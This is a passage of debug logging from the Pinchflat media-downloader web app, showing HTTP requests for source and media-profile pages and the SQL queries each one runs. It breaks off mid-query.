18:56:13.452 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.453 [info] Sent 200 in 5ms 18:56:13.453 [debug] QUERY OK source="tasks" db=2.5ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 18:56:13.454 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=3.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17075] 18:56:13.454 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.454 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.455 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.456 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.457 [debug] QUERY OK source="media_items" db=0.4ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:56:13.457 [info] GET /media_profiles/1 18:56:13.457 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 18:56:13.458 [debug] QUERY OK source="media_items" db=0.6ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.458 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.459 [debug] QUERY OK source="sources" db=0.6ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.459 [debug] QUERY OK source="sources" db=0.7ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 18:56:13.459 [info] GET /sources/opml.xml 18:56:13.459 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.opml_feed/2 Parameters: %{"route_token" => "c0131efe-51bf-4cfe-87a8-4c4d7dd3c754"} Pipelines: [:maybe_basic_auth, :token_protected_route] 18:56:13.459 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:56:13.459 [info] GET /sources/new 18:56:13.459 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 18:56:13.459 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.459 [debug] QUERY OK source="settings" db=0.4ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.460 [debug] QUERY OK source="settings" db=0.5ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.460 [debug] QUERY OK source="sources" db=0.3ms idle=0.4ms SELECT s0."custom_name", s0."uuid" FROM "sources" AS s0 WHERE (s0."marked_for_deletion_at" IS NULL) ORDER BY s0."custom_name" [] 18:56:13.460 [debug] QUERY OK source="media_items" db=1.0ms idle=0.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.460 [info] Sent 200 in 1ms 18:56:13.460 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.460 [debug] QUERY OK source="media_profiles" db=0.9ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:13.461 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.461 [info] Sent 200 in 4ms 18:56:13.461 [debug] QUERY OK source="sources" db=0.3ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:13.461 [debug] QUERY OK source="settings" db=0.3ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.462 [debug] QUERY OK source="settings" db=0.5ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.462 [debug] QUERY OK source="media_items" db=0.5ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 18:56:13.463 [debug] QUERY OK source="settings" db=0.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.463 [debug] QUERY OK source="media_items" db=0.9ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 18:56:13.464 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.465 [info] Sent 200 in 15ms 18:56:13.466 [info] Sent 200 in 6ms 18:56:13.469 [info] GET /sources/2/ 18:56:13.469 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:56:13.469 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.471 [debug] QUERY OK source="tasks" db=0.9ms idle=7.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 18:56:13.471 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=7.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17076] 18:56:13.471 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.472 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.472 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.473 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.474 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:56:13.475 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.476 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.476 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:56:13.477 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.478 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.479 [debug] QUERY OK source="media_items" db=0.7ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 18:56:13.480 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 18:56:13.481 [info] Sent 200 in 12ms 18:56:13.524 [info] GET /sources/2/ 18:56:13.524 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 18:56:13.525 [debug] QUERY OK source="sources" db=0.1ms idle=47.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.525 [debug] QUERY OK source="media_profiles" db=0.1ms idle=47.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", 